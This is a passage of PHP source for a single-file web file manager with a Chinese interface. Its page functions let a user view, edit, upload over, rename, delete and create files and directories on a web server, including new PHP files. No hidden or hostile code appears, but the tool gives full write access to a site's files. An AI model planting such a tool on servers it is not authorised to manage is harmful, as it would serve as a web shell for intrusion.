class="msg err">文件不存在:' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>'; page_foot(); return; } $name = basename($abs); $size = (int)@filesize($abs); page_top('查看 ' . $name); msg_box(); echo '<div class="bar"><div class="brand">👁 查看:' . h($name) . '</div>'; echo '<div class="kv">路径:<code>' . h($abs) . '</code></div>'; echo '<div class="kv">大小:' . h(fmt_size($size)) . ' · 修改:' . h(fmt_time(@filemtime($abs))) . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '只读') . '</div>'; echo '<div class="toolbar">'; echo '<a class="btn p" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a>'; echo '<a class="btn" href="' . h(url(array('a' => 'download', 'f' => $f))) . '">⬇ 下载</a>'; echo '<a class="btn" href="' . h(url(array('a' => 'edit', 'f' => $f))) . '">✏️ 编辑</a>'; echo '<a class="btn" href="' . h(url(array('a' => 'replace', 'f' => $f))) . '">⬆ 上传替换</a>'; echo '<a class="btn" href="' . h(url(array('a' => 'rename', 'f' => $f))) . '">🏷 重命名</a>'; echo '<a class="btn d" href="' . h(url(array('a' => 'delete', 'f' => $f))) . '">🗑 删除</a>'; echo '</div></div>'; if (is_image_ext($name)) { echo '<div class="panel"><img class="preview" src="' . h(url(array('a' => 'raw', 'f' => $f))) . '" alt="' . h($name) . '"></div>'; page_foot(); return; } if ($size > (int)$CFG['max_edit_bytes']) { echo '<div class="msg err">文件超过 ' . h(fmt_size((int)$CFG['max_edit_bytes'])) . ',不在此处预览,请直接下载。</div>'; page_foot(); return; } $content = (string)@file_get_contents($abs); if ((!is_text_ext($name) && looks_binary($content)) || strpos($content, "\0") !== false) { echo '<div class="msg err">二进制文件,无法文本预览。请下载查看。</div>'; page_foot(); return; } echo '<div class="panel"><pre class="view">' . h($content) . '</pre></div>'; page_foot(); } function render_edit($f) { global $CFG; $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('编辑'); msg_box(); echo '<div class="msg err">文件不存在:' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>'; page_foot(); return; } $name = basename($abs); $size = (int)@filesize($abs); $max = (int)$CFG['max_edit_bytes']; $tooBig = ($size > $max); $content = $tooBig ? '' : (string)@file_get_contents($abs); $binary = (!$tooBig && !is_text_ext($name) && looks_binary($content)); page_top('编辑 ' . $name); msg_box(); echo '<div class="bar"><div class="brand">✏️ 编辑:' . h($name) . '</div>'; echo '<div class="kv">路径:<code>' . h($abs) . '</code></div>'; echo '<div class="kv">大小:' . h(fmt_size($size)) . ' · 修改:' . h(fmt_time(@filemtime($abs))) . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '只读(保存会失败)') . '</div>'; echo '<div class="toolbar">'; echo '<a class="btn p" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a>'; echo '<a class="btn" href="' . h(url(array('a' => 'view', 'f' => $f))) . '">👁 查看</a>'; echo '<a class="btn" href="' . h(url(array('a' => 'download', 'f' => $f))) . '">⬇ 下载</a>'; echo '</div></div>'; if ($tooBig) { echo '<div class="msg err">文件超过在线编辑上限 ' . h(fmt_size($max)) . ',请下载后本地修改,再用「上传替换」写回。</div>'; page_foot(); return; } if ($binary) { echo '<div class="msg err">检测到二进制内容,直接保存可能损坏文件。请改用「上传替换」。</div>'; } echo '<form method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="save">'; echo '<input type="hidden" name="f" value="' . h($f) . '">'; echo csrf_field(); echo '<textarea name="content" spellcheck="false">' . h($content) . '</textarea>'; echo '<div class="toolbar"><button class="btn p" type="submit">💾 保存</button>'; echo '<a class="btn" href="' . h(url(array('a' => 'view', 'f' => $f))) . '">取消</a>'; echo '<span class="kv">保存为 UTF-8,换行统一为 LF</span></div>'; echo '</form>'; page_foot(); } function render_replace($f) { $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('上传替换'); msg_box(); echo '<div class="msg err">文件不存在:' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } page_top('上传替换 ' . basename($abs)); msg_box(); echo '<div class="bar"><div class="brand">⬆ 上传替换:' . h(basename($abs)) . '</div>'; echo '<div class="kv">目标文件:<code>' . h($abs) . '</code></div>'; echo '<div class="kv">当前大小:' . h(fmt_size(@filesize($abs))) . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '不可写(替换会失败)') . '</div>'; echo '</div>'; echo '<div class="panel"><h3>选择本地文件覆盖该文件</h3>'; echo '<form class="inline" method="post" action="' . basename(__FILE__) . '" enctype="multipart/form-data">'; echo '<input type="hidden" name="a" value="upload">'; echo '<input type="hidden" name="mode" value="replace">'; echo '<input type="hidden" name="p" value="' . h($parent) . '">'; echo '<input type="hidden" name="name" value="' . h(basename($abs)) . '">'; echo csrf_field(); echo '<input type="file" name="file" required>'; echo '<button class="btn p" type="submit">上传并替换</button>'; echo '<a class="btn" href="' . h(url(array('a' => 'view', 'f' => $f))) . '">取消</a>'; echo '</form>'; echo '<div class="kv">替换后原文件内容将被完全覆盖,不可撤销。</div>'; echo '</div>'; page_foot(); } function render_mkdir_page($rel) { global $QS; page_top('新建目录'); msg_box(); echo '<div class="bar"><div class="brand">➕ 在下面创建目录</div>'; echo '<div class="kv">位置:<code>' . h(disp_path($rel)) . '</code></div></div>'; echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="mkdir"><input type="hidden" name="p" value="' . h($rel) . '">'; echo csrf_field(); echo '<input type="text" name="name" placeholder="目录名" required autofocus>'; echo '<button class="btn p" type="submit">创建</button>'; echo '<a class="btn" href="' . h(url(array_merge(array('p' => $rel), $QS))) . '">返回</a>'; echo '</form></div>'; page_foot(); } function render_newfile_page($rel) { global $QS; page_top('新建文件'); msg_box(); echo '<div class="bar"><div class="brand">📄 在下面创建文件</div>'; echo '<div class="kv">位置:<code>' . h(disp_path($rel)) . '</code></div></div>'; echo '<div class="panel"><form method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="newfile"><input type="hidden" name="p" value="' . h($rel) . '">'; echo csrf_field(); echo '<div class="toolbar"><input type="text" name="name" placeholder="文件名,如 index.php" required autofocus>'; echo '<label class="chk"><input type="checkbox" name="overwrite" value="1"> 覆盖同名文件</label></div>'; echo '<textarea name="content" spellcheck="false" placeholder="初始内容(可留空)"></textarea>'; echo '<div class="toolbar"><button class="btn p" type="submit">创建</button>'; echo '<a class="btn" href="' . h(url(array_merge(array('p' => $rel), $QS))) . '">返回</a></div>'; echo '</form></div>'; page_foot(); } function render_rename_page($f) { $abs = resolve_path($f); if ($f === '' || $abs === null || !file_exists($abs)) { page_top('重命名'); msg_box(); echo '<div class="msg err">目标不存在:' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } page_top('重命名'); msg_box(); echo '<div class="bar"><div class="brand">🏷 重命名</div>'; echo '<div class="kv">原路径:<code>' . h($abs) . '</code></div></div>'; echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="rename"><input type="hidden" name="f" value="' . h($f) . '">'; echo csrf_field(); echo '<input type="text" name="newname" value="' . h(basename($abs)) . '" required autofocus>'; echo '<button class="btn p" type="submit">重命名</button>'; echo '<a class="btn" href="' . h(url(array('p' => $parent))) . '">返回</a>'; echo '</form><div class="kv">只能改当前目录内的名称,不能移动到别的目录。</div></div>'; page_foot(); } function render_delete_page($f) { $abs = resolve_path($f); if ($f === '' || $abs === null || !file_exists($abs)) { page_top('删除'); msg_box(); echo '<div class="msg err">目标不存在:' . h(disp_path($f)) . '</div>'; echo '<p><a class="btn" href="' . h(url(array('p' => parent_rel($f)))) . '">← 返回目录</a></p>'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } $isDir = is_dir($abs); page_top('删除确认'); msg_box(); echo '<div class="bar"><div class="brand">🗑 删除确认</div>'; echo '<div class="kv">目标:<code>' . h($abs) . '</code>' . ($isDir ? '(目录,含其下全部内容)' : '') . '</div></div>'; echo '<div class="panel"><form class="inline" method="post" action="' . basename(__FILE__) . '">'; echo '<input type="hidden" name="a" value="delete"><input type="hidden" name="f" value="' . h($f) . '">'; echo csrf_field(); echo '<button class="btn d" type="submit">确认删除</button>'; echo '<a class="btn" href="' . h(url(array('p' => $parent))) . '">取消</a>'; echo '</form><div class="kv">删除不可撤销。</div></div>'; page_foot(); } if ($act === 'view') { render_view(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'edit') { render_edit(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'replace') { render_replace(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'rename') { render_rename_page(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'delete') { render_delete_page(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'mkdir') { render_mkdir_page($rel); } elseif ($act === 'newfile') { render_newfile_page($rel); } else { render_list($rel); }
💾 保存
取消
保存为 UTF-8,换行统一为 LF